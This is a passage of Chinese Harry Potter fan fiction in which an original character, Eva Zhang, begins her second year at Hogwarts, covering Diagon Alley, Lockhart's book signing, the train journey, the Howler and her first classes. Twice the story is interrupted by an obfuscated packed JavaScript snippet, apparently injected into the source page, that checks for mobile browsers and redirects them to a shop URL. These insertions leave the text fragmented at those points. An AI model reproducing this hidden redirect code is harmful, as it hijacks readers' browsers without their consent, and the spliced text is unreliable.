“可是……可是我需要这些书……”罗恩的声音低了下去。 Eva正好排到他身后,轻声叫了一句:“罗恩?” 罗恩猛地转头,脸腾地红了:“Eva!我,这个……”他窘迫得说不出话,眼神躲闪。 柜台里的妖精用细长的手指不耐烦地敲着桌面:“韦斯莱先生,请决定。后面还有很多人。” 罗恩的脸红得发紫。Eva没再问,平静地将自己的取款单和罗恩的羊皮纸清单一起推到妖精面前:“他的书费和我的取款,请一并结算。” 妖精那双锐利的眼睛扫过两张单子——一张余额告罄,一张数字充裕——鼻子里几不可闻地哼了一声,但手上动作麻利起来。罗恩猛地扭头看向Eva,张了张嘴,最终只挤出蚊蚋般的一声:“……我会还的。” “不急。”Eva接过找零和捆好的书,将沉甸甸的一摞递给他,“先拿好。” 走出古灵阁时,雨小了些,但天空还是灰沉沉的。街道上人更多了,挤得走不动。 “你看见清单了吗?”罗恩抱着书,努力在人流中开道,“今年的黑魔法防御术老师又换了——吉德罗·洛哈特。我妈妈可喜欢他了,买了全套他的书……”他做了个鬼脸,“贵死了。而且你看——”他抽出一本《与食尸鬼同游》,封面上是个笑容灿烂的金发巫师,牙齿白得晃眼,“这人看起来就……不靠谱。” Eva看了看封面。洛哈特确实笑得很灿烂,但那双蓝眼睛里有点什么东西——太亮了,太刻意了。她想起爷爷说的“看人看眼睛”,觉得这人可能不像表面上那么……完美。 “你们买齐了吗?”她问。 “还没,”罗恩叹气,“赫敏说她先去丽痕书店排队了——今年洛哈特的书卖疯了,好多人排队签名。哈利应该也在那儿。” 他们沿着街道往前走。丽痕书店门口果然排着长队,一直排到街拐角。队伍里大多是女巫,从十几岁到几十岁都有,手里都捧着洛哈特的书,兴奋地交谈着。 “梅林啊……”罗恩瞪大眼睛,“这得排到什么时候?” 就在这时,书店里传出一阵喧哗。人群骚动起来,有人尖叫:“是洛哈特!他出来了!” 一个金发巫师出现在书店门口——正是吉德罗·洛哈特本人。他穿着勿忘我花蓝色的长袍,笑容灿烂得像七月的太阳,朝人群挥手。闪光灯噼里啪啦地闪——是《预言家日报》的记者在拍照。 “看看这是谁!”洛哈特的声音洪亮,带着那种表演式的热情,“哈利·波特!” Eva顺着他的目光看去。哈利果然在人群里,正试图躲到一个书架后面,但洛哈特大步走过去,一把搂住他的肩膀,对着镜头露出更灿烂的笑容:“真是荣幸!哈利·波特来买我的书——我想我们可以期待一篇精彩的《预言家日报》专访了!” 哈利的脸红得像煮熟的虾,绿眼睛里写满了尴尬和无奈。罗恩在旁边憋笑憋得肩膀直抖。 洛哈特说了几句场面话,然后开始签名售书。队伍移动得更慢了。Eva决定先去买别的东西——她的清单上还有羽毛笔、羊皮纸和新坩埚。 在文具店,她碰到了曼蒂。 “Eva!”曼蒂冲过来抱住她,力气大得差点把两人都撞倒,“你回来了!暑假怎么样?我给你写信了,但你没回……” “我爷爷让我静养,没收了猫头鹰。”Eva解释,“对不起。你妈妈身体好点了吗?” “好多了!”曼蒂眼睛亮亮的,“小妹妹会爬了,可闹了。你呢?江南好玩吗?” “挺安静的。”Eva说。她没提爸爸去东欧的事,也没提那个夏天的思考和调整。有些事,适合放在心里。 她们一起买了文具,又去药店买了新的魔药材料。走出药店时,雨又下大了,噼里啪啦地打在鹅卵石路上。 “糟糕,”曼蒂看着天空,“这雨一时半会儿停不了。我们得赶紧去书店——听说洛哈特快签完了。” 回到丽痕书店时,队伍果然短了些。她们排了大概二十分钟,终于进了店。里面一片狼藉——书架上乱七八糟,地上散落着撕破的书页和包装纸。吉德罗·洛哈特还在签名,但笑容已经有点僵硬了。 Eva按照清单找齐了洛哈特的全套著作——《与巨怪同行》《与母夜叉一起度假》《与狼人同游》……一共七本,每本都又厚又重。她看了看价格,皱起眉头——确实不便宜。 “下一位!”书店店员喊道。 Eva把书堆在桌上。洛哈特抬头看了她一眼,蓝眼睛在她脸上停留了一瞬——大概是对东方面孔有点好奇。然后他露出标准笑容,龙飞凤舞地签上名:“给……你叫什么名字,亲爱的?” “Eva Zhang。” “啊!一个美丽的名字!”洛哈特签完最后一本,把书推过来,“好好读,亲爱的。你会从中学到很多——比如怎么对付吸血鬼,怎么识别狼人……”他眨了眨眼,“当然,如果你需要额外的指导,随时可以来找我。我一直乐于帮助有潜力的年轻女巫。” Eva接过书,礼貌地点点头:“谢谢教授。” 走出书店时,她看见哈利、罗恩和赫敏站在街对面躲雨。赫敏抱着一大摞洛哈特的书,脸上是兴奋的红晕:“他本人比照片上还要帅!而且你们听到他说的了吗?他今年会教我们真正的黑魔法防御术!” 罗恩翻了个白眼:“得了吧,赫敏。你看他那样子,像个会打架的吗?” “可他书里写了那么多冒险经历……” “也可能是编的。”哈利小声说,揉了揉额头——Eva注意到他额上的疤痕比暑假前明显了些,那道新愈合的裂口颜色还很深。 他们看见Eva和曼蒂,招了招手。 “买齐了?”哈利问。 “嗯。”Eva把沉重的书塞进行李车,“该去车站了。” 雨越下越大。他们推着车艰难地走向破釜酒吧的后院。街道上积水了,鹅卵石路滑溜溜的,Eva好几次差点摔倒。 回到破釜酒吧时,每个人都湿透了。袍子沉甸甸地贴在身上,头发滴着水。汤姆从柜台后面递过来几条干毛巾——虽然毛巾本身也不太干净。 “快点快点,”他催促道,“火车还有四十分钟就开了!” 他们用最快的速度穿过酒吧,回到麻瓜世界。查令十字街在雨中显得格外灰暗。出租车排着队,行人匆匆走过,伞撞着伞。 国王十字车站里人声鼎沸。又是开学季,又是告别和重逢的时刻。Eva推着车穿过人群,听见各种语言混杂:英语、法语、德语,还有她听不懂的东欧语言。 在9和10站台之间,她停下脚步。 面前还是那堵光溜溜的瓷砖墙,能照出模糊的人影。她看见自己:黑头发湿漉漉地贴在额前,校袍湿透了颜色更深,但眼睛很平静。 一年前,她第一次站在这里,心里满是迷茫和不安。 现在,她知道自己要去哪儿。 深吸一口气,握紧行李车把手。 没有犹豫。 加速,小跑—— 穿过那层凉凉的、有弹性的水膜。 喧嚣声涌来。 深红色的霍格沃茨特快横在眼前,喷着白烟。站台上挤满了人,比去年还多。猫在腿间穿梭,猫头鹰扑棱翅膀,羽毛乱飞。家长们大声叮嘱,孩子们兴奋地尖叫。 Eva站在那儿,几秒钟没动。只是看着,听着,感受着。 然后她低头检查行李——箱子完好,素雪的笼子也完好。雪鸮在笼子里抖了抖羽毛,水珠飞溅。 她吐了口气,笑了。 推着车,走向最近的车门。 车厢里比去年更挤。她拖着湿漉漉的行李走过一节节车厢,门都关着,里面传出笑声和说话声。走了很久,终于找到一间只有两个人的包厢——是曼蒂,还有帕德玛。 “Eva!”曼蒂招手,“快进来!我们都湿透了……” Eva把箱子塞进角落,在靠窗的位置坐下。素雪的笼子放在旁边,雪鸮开始用喙梳理羽毛。 帕德玛递过来一块巧克力:“吃吗?我妈妈做的,加了印度香料。” 巧克力是深褐色的,闻起来有肉桂和豆蔻的香味。Eva接过来,咬了一小口——甜中带辣,很特别。 “谢谢。”她说。 列车开动了。窗外的伦敦在雨中后退,渐渐变成田野和树林。雨还在下,打在车窗上,划出一道道水痕。 她们聊起暑假。帕德玛说她回印度看了祖父母,那边热得不行,但食物很好吃。曼蒂说她妹妹如何闹腾,她如何帮忙换尿布。 “你呢,Eva?”曼蒂问,“江南真的像你说的那么安静吗?” “嗯,”Eva点头,“很安静。每天就是打坐,读书,练字。” “听起来有点……无聊。”曼蒂做了个鬼脸。 “但挺舒服的。”Eva说。这是真话。那个夏天确实让她恢复了,不只是身体,还有心。 聊了一会儿,帕德玛开始预习草药课的书——她们二年级要学曼德拉草了,书上有详细的图解。曼蒂在整理她的洛哈特全集,把每本书按出版顺序排好。 Eva从书包里拿出爷爷给的新绢帛笔记,翻开第一页。还是那些静心口诀,但后面多了些新的内容——关于“气”与“意”的配合,关于如何在动中守静。 她看着那些汉字,手指无意识地摸着腕上的玉佩。玉佩温温的,和新玉牌贴在一起,两块玉的温润感相互呼应。 窗外的雨小了些,变成细细的雨丝。田野变成山坡,远处能看见灰蒙蒙的山影。 过了一会儿,包厢门被拉开。是秋·张,穿着拉文克劳的校袍,头发扎成利落的马尾,脸上带着笑。 “嘿,新生们——哦,不对,现在是二年级了!”她钻进包厢,在Eva旁边坐下,“暑假怎么样?” 她们又聊了一会儿。秋说她暑假去了法国,看了魁地奇世界杯的预选赛。“保加利亚的找球手太厉害了——虽然他们队输了,但他一个人抓了三次金色飞贼!” “三次?”曼蒂瞪大眼睛,“怎么可能?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980648|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “真的!我都录下来了——用魔法相机。”秋从包里拿出一个会动的相册,翻开给她们看。照片里,一个穿着深红色队服的找球手在空中疾驰,动作快得像一道闪电。 聊到一半,秋突然压低声音:“对了,你们听说斯莱特林的事了吗?” “什么事?”帕德玛问。 “德拉科·马尔福,”秋的声音更低了,“他爸爸……卢修斯·马尔福,好像被魔法部调查了。暑假里《预言家日报》登了几篇报道,说他和一些……不太干净的事情有关。” Eva想起暑假前最后一次见到马尔福——他独自坐在斯莱特林长桌末端,脸色苍白,灰眼睛里那种复杂的情绪。还有更早的,禁林那晚他僵住的脸,蜘蛛幽绿的复眼,自己杖尖爆发的强光…… “调查结果呢?”曼蒂问。 “不知道。”秋摇头,“但开学宴会上肯定会有议论。斯莱特林那边气氛肯定很糟。” 列车继续向北。雨停了,但天空还是阴沉沉的。窗外掠过湖泊和森林,偶尔能看到麻瓜的村庄,小小的房子像玩具一样。 午饭时间,推着零食车的小巫婆来了。她们买了巧克力蛙、南瓜馅饼和吹宝超级泡泡糖。Eva抽到的卡片是“张道陵”——和去年一样。她把卡片收好,觉得这是个好兆头。 下午,她们开始讨论课程。二年级的课表和一年级差不多:有变形术、魔咒、魔药、草药、魔法史、天文学,黑魔法防御术换了新老师。 天色渐渐暗下来。列车驶入山区,隧道一个接一个。每次进入隧道,车厢里就一片漆黑,只有魔杖尖的荧光闪烁提供微弱的光。 终于,在又一个漫长的隧道之后,列车开始减速。 “快到了!”秋站起来,开始整理袍子,“收拾东西,准备下车。” 站台在夜色中亮着灯,比去年更冷。海格巨大的身影站在站台尽头,提着一盏巨大的提灯,声音像打雷一样洪亮:“一年级新生!一年级新生到这边来!” Eva跟着二年级的学生们走向另一边。夜骐拉的马车已经等在那里了——她现在能清楚地看见它们了,那些骨瘦如柴、长着蝙蝠翅膀的黑马,眼睛空洞苍白。她知道,能看见夜骐的人,都见证过死亡。 她想起禁林里独角兽空洞的眼,想起奇洛溃烂的脸,想起那团扑来的黑雾。 但这次,她没有移开视线。 马车轻晃着驶向城堡。霍格沃茨在夜色中矗立,塔楼的灯火温暖地亮着,像在迎接他们回家。 礼堂还是老样子:成千上万支蜡烛飘在空中,天花板是深蓝色的夜空,四张长桌上摆着闪闪发光的金色餐具。但Eva注意到一些变化——教授席上,奇洛的位置空了,换成了一个金发巫师,正笑容灿烂地和麦格教授说话。是吉德罗·洛哈特。 斯内普教授坐在老位置,黑眼睛缓缓扫视着礼堂。当他的目光扫过拉文克劳长桌,在Eva脸上停留了一瞬——很短,但Eva感觉到那种熟悉的审视。然后他移开视线,嘴唇抿得更紧了。 邓布利多教授站起来,银白色的长胡子在烛光下闪闪发亮。 “欢迎回来!”他的声音温和而清晰,“在开始这顿丰盛的晚餐之前,请允许我介绍一位新面孔。” 他介绍了吉德罗·洛哈特——“我们新任的黑魔法防御术教授”。 掌声响起,洛哈特站起来鞠了一躬,笑容灿烂得像要溢出来。 “此外,”邓布利多继续说,表情严肃了些,“我必须提醒大家,城堡三楼靠右的走廊今年禁止进入。任何违反此规定的学生,将面临严厉处罚。” 礼堂里响起低低的议论声。Eva看向格兰芬多长桌——哈利、罗恩和赫敏交换了一个眼神。 然后分院仪式开始了。新生们一个接一个走上前,戴上那顶破旧的帽子。今年新生特别多,帽子唱了一首很长的新歌,讲的是四个学院的团结。 “拉文克劳!”帽子喊道,一个黑头发的小女孩怯生生地走向蓝青铜色的长桌。 Eva安静地看着。一年前,她也是那样走过来的。现在,她是二年级了。 分院结束,晚宴开始。长桌上瞬间堆满了食物:烤牛肉,烤鸡,猪排,香肠,约克郡布丁,各种蔬菜,肉汁,还有成山的甜点。 Eva小口吃着。食物还是那么美味,但她吃得不多。胃里有点紧——不是紧张,是那种重新适应热闹环境的感觉。 晚宴快结束时,邓布利多教授再次站起来。 “在大家回宿舍休息之前,还有几件事要通知。”他说,“第一,管理员费尔奇先生希望我提醒大家,课间不允许在走廊上使用魔法。第二,魁地奇选拔将在第二周进行,有意参加的同学请向各自学院的队长报名。” 他顿了顿,目光扫过礼堂:“最后,我必须非常严肃地提醒大家:霍格沃茨是一所魔法学校,但魔法不是万能的。有些危险,即使是最强大的魔法也无法完全防御。请各位保持警惕,但不要过度恐慌。教授们会确保你们的安全。” 这话让礼堂安静了几秒。Eva感觉到腕上的玉佩温温的,和平常一样。 晚宴结束,学生们陆续离开礼堂。拉文克劳的队伍走上旋转楼梯,走向塔楼。 鹰形门环静静地挂在橡木门上。一个七年级学生走上前,敲了敲门环。 鹰喙张开,那个中性的、带着回音的声音响起:“什么东西越给予,自己反而越丰盈?” “知识。”七年级学生答道。 “正确。” 门开了。公共休息室里温暖明亮,壁炉里的火烧得正旺,深蓝色的地毯和青铜色的装饰在火光下泛着柔和的光泽。一切都和去年一样,但又不一样了——Eva不再是那个怯生生的新生,她知道旋转楼梯有多少级,知道哪把扶手椅最舒服,知道窗外能看到最美的星空。 罗伯特·希利亚德站在壁炉前,脸上带着温和的笑:“欢迎回来,拉文克劳们。二年级的课表明天早餐时分发。” 学生们三三两两地散开。Eva和曼蒂、帕德玛走上旋转楼梯,回到那间熟悉的圆形寝室。 丽莎已经到了,正在整理行李。“梅林啊,洛哈特的书重死了……”她抱怨着,把七本厚书堆在床头。 Eva放下箱子,走到窗边。窗外,霍格沃茨的灯火在夜色中温暖地亮着,黑湖的水面倒映着星光和塔楼的影子。远处禁林黑黝黝的,像一头沉睡的巨兽。 她深吸一口气。空气里有城堡石头的味道,有远处厨房飘来的淡淡甜香,有羊皮纸和旧书的气味,还有那种魔法特有的噼啪感。 回来了。 真的回来了。 素雪从笼子里飞出来,落在她肩上,轻轻叫了一声,像在说:到家了。 Eva摸了摸雪鸮柔软的羽毛,笑了。 明天要开始上课了。新的老师,新的课程,新的挑战。 但这一次,她准备好了。 至少,她希望自己准备好了。 窗外的风轻轻吹过塔楼,带着初秋的凉意。 霍格沃茨的第二学年,就这样开始了。 33. 新学期的帷幕 开学第二天,雨还没停。 早晨从拉文克劳塔楼望出去,城堡像浸在一大盆灰水里。窗玻璃上蒙着薄薄一层水汽,Eva用手指抹开一小块,看见庭院里的草地被雨打得东倒西歪,黑湖的水面皱巴巴的,雨点砸出密密麻麻的小坑。 “讨厌的天气,”曼蒂在镜子前梳头,想把那几缕不听话的卷发压下去,“今天第一节不知道是什么课,可千万别是地下室里的……” Eva换好校服长袍,系扣子时手指很稳。袍子还是新的,料子厚实,蓝青铜色的镶边在晨光里泛着柔和的金属光泽。她摸了摸袖口——去年一年下来,袖口磨得有点毛边,妈妈暑假时用同色的线细细补好了。 早餐时,礼堂里嗡嗡响着新学期的兴奋和抱怨。 “听说洛哈特的第一节课在周四……” “保护神奇生物课这周就开始,不知道海格会教什么……” “Eva,这里!”曼蒂招手,指着旁边空位。 Eva坐下,面前已经摆好了一盘热气腾腾的炖菜。她刚拿起勺子,就见各学院的级长们开始沿着长桌分发羊皮纸卷。 “课表来了!”帕德玛接过拉文克劳级长佩内洛·克里瓦特递来的纸卷,迅速展开。 Eva也拿到了自己的。深蓝色的羊皮纸上,用清晰的青铜色墨水印着: 二年级课表 Eva Zhang 拉文克劳学院 星期一:变形术(与赫奇帕奇),魔咒学(与赫奇帕奇),魔法史 星期二:草药学(与格兰芬多),魔药学(两节连堂,与斯莱特林) 星期三:黑魔法防御术(与格兰芬多),天文学(晚上) 星期四:变形术,魔药学,魔咒学 星期五:草药学,魔法史 “魔药学两节连堂,还是和斯莱特林……”曼蒂苦着脸瞥了一眼课表,“梅林的袜子,一想到斯内普教授的眼神,我就胃疼。” “至少草药学是和格兰芬多一起,”丽莎试图乐观,“斯普劳特教授总是很和气。” “黑魔法防御术也是和格兰芬多,”帕德玛指着课表,“不知道新来的洛哈特教授怎么样。他的书看起来……挺精彩的。” Eva看着课表,心里默默规划。周二和周四下午都有大段空闲,可以去图书馆。爷爷给的绢帛笔记上说要每天坚持打坐调息,也许可以安排在早起后和晚饭前。 “变形术今天第一节课,”曼蒂收起课表,小口喝着南瓜汁,“希望麦格教授别一上来就太严格。” Eva看向格兰芬多长桌。哈利、罗恩和赫敏坐在一起,但气氛明显不对劲。罗恩脸色发白,眼睛下面有深深的黑眼圈,正在机械地戳着盘子里的香肠。哈利时不时担忧地看他一眼,压低声音说着什么。赫敏则皱着眉头翻阅着一本厚书——《与女鬼决裂》,洛哈特的自传之一。 更奇怪的是,韦斯莱家的双胞胎——弗雷德和乔治,正挤眉弄眼地朝罗恩的方向比划着什么,脸上带着恶作剧得逞前的坏笑。罗恩把脸埋得更低了。 “出什么事了?”曼蒂小声问。 “不知道。”Eva摇摇头,但心里隐隐有些不安。她想起昨天在车站没见到他们,想起罗恩在古灵阁的窘迫。是飞车的事吗?爸爸说过,鲁莽的行动会带来连锁反应——韦斯莱先生被调查,罗恩当众受责,这些都是代价。 斯莱特林长桌那边,马尔福和克拉布、高尔坐在一起。潘西·帕金森正试图把自己的糖浆馅饼分给马尔福,但他只是摆摆手拒绝了。马尔福的脸色比昨天更苍白,灰蓝色的眼睛盯着罗恩的方向,嘴角挂着幸灾乐祸的冷笑,但当他的目光扫过拉文克劳长桌时,在Eva脸上停顿了一瞬——那眼神里混杂着评估和一种烦躁的审视。一个让他吃过亏、背景成谜的拉文克劳,既不是他能轻易嘲弄的对象,也不是纯血圈子里的人。这种无法归类让他下意识地保持距离,却又忍不住去观察。 就在这时,邮件时间到了。 上百只猫头鹰涌进礼堂,像一片羽毛组成的云。它们扑棱着翅膀,寻找各自的主人。大多数带来的是信件和包裹,但一只棕色的猫头鹰径直飞向格兰芬多长桌,爪子里抓着一个猩红色的信封。 信封在它爪子里微微颤动,像活的一样。 “不……”罗恩的脸瞬间变得惨白,“不,不,不……” “是什么?”哈利问。 “吼叫信,”罗恩的声音在发抖,“我妈妈……她肯定知道了……” 话音刚落,信封从猫头鹰爪子里飘落,正好落在罗恩面前的麦片粥里。然后—— 信封的边缘自己燃烧起来,冒起猩红色的烟。紧接着,一个震耳欲聋的声音响彻整个礼堂,盖过了所有的说话声和餐具碰撞声: “罗纳德·韦斯莱!你怎么敢!偷那辆汽车——我和亚瑟为你担心得要命!你爸爸现在正在接受魔法部的调查——这都是你干的好事!你要是有个三长两短——我怎么对得起你爸爸——等着吧,等你回家——” 声音尖厉而愤怒,每个字都像鞭子一样抽打空气。罗恩整个人缩在椅子上,脸埋在手里,耳朵尖红得发紫。哈利和赫敏也低着头,周围的格兰芬多学生们都假装什么也没听见,但嘴角都在抽搐。 最后,吼叫信把自己撕成了碎片,燃烧的纸屑洒在罗恩的麦片粥里,冒着青烟。 礼堂里一片死寂。几秒钟后,窃窃私语声像潮水一样涌起。 “韦斯莱偷了汽车……” “难怪没在火车上看见他们……” “听说他们飞来的,还撞上了打人柳……” 马尔福大声笑起来,声音尖刻而刺耳:“原来如此!韦斯莱一家穷得买不起新车,只好偷一辆!太合适了!” 克拉布和高尔跟着发出粗鲁的笑声。 罗恩的头埋得更低了。哈利握紧了拳头,绿眼睛里燃起怒火。赫敏放下书,脸色严肃。 “他们坐飞车来的?”曼蒂瞪大眼睛,压低声音,“难怪昨天没在火车上看到他们……” “撞上打人柳是什么?”丽莎好奇地问。 “禁林边上有棵老柳树,会打人,”帕德玛小声解释,“一年级的《霍格沃茨:一段校史》里写过。要是真撞上了……” Eva听着周围的议论,胃微微收紧。她能想象那场景——两个十二岁的男孩,在夜空中驾驶会飞的汽车,又冷又怕,最后还撞上危险的魔法植物。她想起暑假里爸爸沉重的告诫和妈妈发红的眼圈。确实太冒险了,而且……后果已经显现。 她看向哈利的方向,正好对上他抬起的目光。那双绿眼睛里除了愤怒,还有一丝疲惫和愧疚。Eva对他轻轻点了点头——不是赞同,是表示“我看到了,我明白”。哈利愣了一下,也微微颔首,然后转回去继续安慰罗恩。 早餐在诡异的气氛中结束了。罗恩第一个冲出礼堂,哈利和赫敏紧跟其后。马尔福得意洋洋地离开,经过拉文克劳长桌时,他的目光又在Eva脸上停留了一瞬——这次带着更明显的讥诮,仿佛在说“看看你那些鲁莽的朋友”。然后他转过头,继续跟克拉布和高尔说笑着离开。 “他刚才在看谁?”曼蒂小声问。 “不知道。”Eva低头收拾东西。她注意到马尔福刚才那一眼里,除了惯有的傲慢,还有一丝不易察觉的焦躁——家族陷入麻烦,让这个向来倚仗父亲权势的少爷失去了部分底气,却让他更加用力地维持表面的嚣张。 第一节课是变形术。 麦格教授的教室在二楼。他们走进教室时,麦格教授已经站在讲台前,表情比平时更严肃。 “早上好,”她的声音清晰而冷静,但带着一丝紧绷,“在开始今天的课程之前,我必须严肃地强调——霍格沃茨绝不容许任何学生以危险的方式抵达学校。昨晚的事件,我不希望再发生第二次。” 她严厉的目光扫过全班,尤其在几个格兰芬多学生脸上停留了片刻——哈利和罗恩低着头,赫敏坐得笔直但脸色发白。 “二年级的变形术将进入更复杂的阶段,”麦格教授继续说,“今天我们要学习如何把甲虫变成纽扣的进阶——让纽扣具备特定的装饰性特征。” 她示范了一下。魔杖轻点,桌上的一只甲虫瞬间变成了一枚精致的银色纽扣,扣面雕刻着细致的花纹,在阳光下闪闪发亮。 “不仅要完成变形,还要控制变形的细节,”麦格教授说,“这需要更精准的魔力控制和更强的想象力。现在,每人一只甲虫,开始练习。” Eva打开面前的小盒子。甲虫在里面爬动,黑亮的壳在光线下反光。她深吸一口气,让体内的“炁”平稳流转,如爷爷教导的“心静则炁顺”。然后集中精神。 要变成什么样的纽扣呢? 她想起爷爷给的那把木梳,梳齿细密,带着檀香。想起江南老宅窗棂上的雕花,简洁而雅致。 魔杖轻点:“速速变形。” 银光包裹住甲虫。它开始改变——变扁,变圆,长出扣眼,颜色转为深青色。扣面上,隐约浮现出云纹的图案,虽然模糊,但确实存在。 纽扣落在桌上,发出轻微的“嗒”声。 麦格教授走过来,拿起纽扣仔细看了看。“装饰性特征初步显现,”她说,语气里带着一丝赞许,“但不够清晰。想象要更具体,魔力输出要更稳定。” 她看向全班:“张小姐的表现值得表扬。拉文克劳加五分。” Eva轻轻点头致谢。她能感觉到,经过一个夏天的调理,她对魔力的控制确实更精准了。那股“炁”的平稳流转,让魔力的输出也变得更稳定——就像磨墨时手腕的稳定决定了墨色的均匀。 麦格教授又指导了几个学生,然后宣布:“下周我们要进行小型测验,检测你们对装饰性变形的掌握情况。今天的内容就是很好的练习。” 下课铃响了。学生们收拾东西离开时,麦格教授叫住了Eva。 “张小姐,请留一下。” Eva停下脚步,心里微微一紧。曼蒂担忧地看了她一眼,她点点头示意没事。 教室里只剩下她们两人。麦格教授走到窗边,转身看着她。 “暑假过得如何?”教授问,语气比平时温和些。 “很好,教授。”Eva说,“在爷爷家静养。” “看得出来,”麦格教授点点头,“你的控制力明显进步了。”她顿了顿,“关于去年的事……邓布利多教授和我谈过。你的勇气值得肯定,但鲁莽必须批评。” “我明白,教授。” “今年,”麦格教授的表情严肃起来,“我希望看到你把更多精力放在学业上。霍格沃茨有很多值得学习的东西,不一定要通过……冒险来获得。” “我会的,教授。” 麦格教授看了她一会儿,最后点点头:“去吧。下节课不要迟到。” 走出教室时,Eva感觉心里轻松了些。麦格教授的肯定让她高兴,但更重要的是,教授没有因为她去年的行为而对她另眼相看——还是那个严格但公正的变形术老师。 第二节课是魔咒学,和赫奇帕奇一起上。 弗立维教授的教室在七楼。他们爬上旋转楼梯时,雨还在下,从高处的窗户能看到灰色的雨幕笼罩着城堡和远处的禁林。 “希望今天学点实用的,”曼蒂喘着气说,“上学期学的软化咒和修复咒我都快忘了……” “弗立维教授说今天要教‘变色咒’,”帕德玛看着笔记,“就是改变物体颜色的咒语。” Eva想起爷爷的绢帛笔记上提到过“五行对应五色”——金白,木青,水黑,火红,土黄。不知道魔法里的变色咒,和这种古老的颜色理论有没有关联。 教室里,弗立维教授站在一摞书上——这样才能让全班同学都看见他。 “早上好!”他的尖嗓子充满活力,“今天我们要学习一个既实用又有趣的咒语——变色咒,正式的咒语是‘颜色改变’!” 他挥动魔杖,指向讲台上的一朵白色康乃馨:“颜色改变!” 粉红色的光芒闪过,康乃馨从纯白变成了鲜艳的深红色。 “这个咒语的关键,”弗立维教授强调,“是清晰的色彩想象力和稳定的魔力输出。你必须‘看到’物体变成的颜色,用魔力引导色素改变。现在,两人一组,练习改变这些羽毛的颜色。” 他发下一小盒白色羽毛。 Eva ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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下课铃响了。弗立维教授布置了作业:“练习变色咒,下周交一篇关于色彩与魔力关联的论文,两英尺长。” “两英尺……”曼蒂哀叹着收拾书包,“这周作业已经堆成山了。” 走出教室时,正好在走廊里遇见了哈利和赫敏——他们刚上完一节课,罗恩不在旁边,可能先回去了。 “Eva!”哈利看见她,快步走过来,绿眼睛里带着关切,“你……暑假还好吗?你爷爷家……” “很好,很安静。”Eva点头,看向他额头上那道依然明显的疤痕,“你的伤疤……还疼吗?” 哈利下意识地摸了摸额头:“偶尔……但比以前好多了。”他顿了顿,声音低了些,“昨晚的事……我们不是故意……” “我知道。”Eva轻声说。她看到哈利眼中的愧疚,想起去年他们一起面对的危险。有些选择一旦做出,后果就只能承担。“罗恩还好吗?” “不太好。”哈利叹气,“但他会撑过去的。”他看了一眼Eva手中的魔咒课本,“你们刚上完魔咒课?弗立维教授怎么样?” “他表扬了Eva的变色咒,”曼蒂插话,“加了十分呢!” 赫敏闻言立刻抬起头,眼睛闪着好奇的光:“真的吗?变色咒的色泽层次控制是进阶技巧,Eva你是怎么做到的?我预习时读到,精确的色彩想象需要大量练习……” “只是试着感受颜色的质地,”Eva简单地说,她知道赫敏喜欢刨根问底,但现在不是深入讨论的时候,“像调配颜料那样。” 赫敏若有所思,显然已经把这个问题记在了心里的“待研究清单”上。 “我们要去图书馆了,”哈利看了眼时间,“得帮罗恩补变形术论文……明天魔药课见。” “明天见。” 他们匆匆离开后,曼蒂小声说:“哈利看起来挺担心你的。” Eva没有回答。她想起哈利刚才的眼神——不只是朋友的关心,还有一种经历了共同危险后产生的、更深层的联系。 下午是魔法史。宾斯教授飘进教室时,教室里已经安静下来。这位幽灵教授用他特有的、单调平板的声音开始讲课: “今天我们将继续中世纪欧洲巫师集会的历史。在1237年的第三次国际巫师会议上,各国代表通过了《禁止魔法生物贸易公约》……” Eva努力集中精神,但宾斯教授的声音确实有催眠效果。她看见前排的曼蒂已经趴在桌上睡着了,帕德玛在偷偷看洛哈特的《与巨怪同行》,丽莎在羊皮纸上画小人。 她看向窗外。雨又下大了,雨水顺着玻璃窗流下来,把外面的景色模糊成一片灰绿色。远处魁地奇球场空荡荡的,扫帚棚的门关着。 不知怎么的,她想起了爸爸。现在东欧应该是下午,爸爸在做什么呢?在工作?在开会?还是…… 她摇摇头,把注意力拉回课堂。宾斯教授正在详细讲述妖精叛乱的具体条款,年份和事件像流水一样从他嘴里淌出来。 下课铃终于响了。学生们如蒙大赦地冲出教室。 “梅林啊,”曼蒂揉着眼睛,“我睡了整整一节课……” “你打呼噜了。”丽莎打趣道。 “我没有!” 他们笑着走下楼梯,准备回塔楼放书包。走廊里一切如常,费尔奇正提着水桶和拖把在清洁地面,看见学生时用他惯有的、阴沉的目光扫视着每个人。 那天晚上,Eva在公共休息室写作业。变形术的论文要求分析“物体变形中细节控制的魔力消耗模型”,她写得认真而专注。窗外的天色渐渐暗下来,塔楼的灯火一盏盏亮起。 写完论文,她拿出爷爷给的绢帛笔记,翻开新的一页。上面记录着一种新的静心法——不是打坐,是在行动中保持心神安宁。 “动中守静,如舟行水上。舟动,水动,心不动。” 她默念着这几句话,尝试在写字时保持那种平静——手腕移动,羽毛笔在羊皮纸上沙沙作响,但呼吸平稳,心神专注。 确实有用。当她专注于笔尖的流动时,周围的嘈杂声渐渐淡去,体内的“炁”自然流转,温养着玉佩。胸前的玉牌凉凉的,没有别的感觉,只是一个提醒——守中持正,稳如磐石。 34. 平静下的裂隙 雨一直没有停。 开学第二周,霍格沃茨依然浸在绵密的秋雨里。湿气像看不见的蛛网,黏在城堡的每个角落。从拉文克劳塔楼望出去,黑湖水面被雨点砸出无数细密的涟漪,远处的禁林在雨幕中只剩下一团模糊的墨绿。 周三下午,黑魔法防御术课前。 图书馆靠窗的位置,Eva正查阅资料完成魔法史论文。阳光艰难地穿透布满雨痕的窗玻璃,在摊开的《中世纪巫师集会考》上投下微弱光斑。她抄录着一段关于“地脉节点与防护魔法叠加效应”的论述,笔尖在羊皮纸上留下清秀工整的字迹。 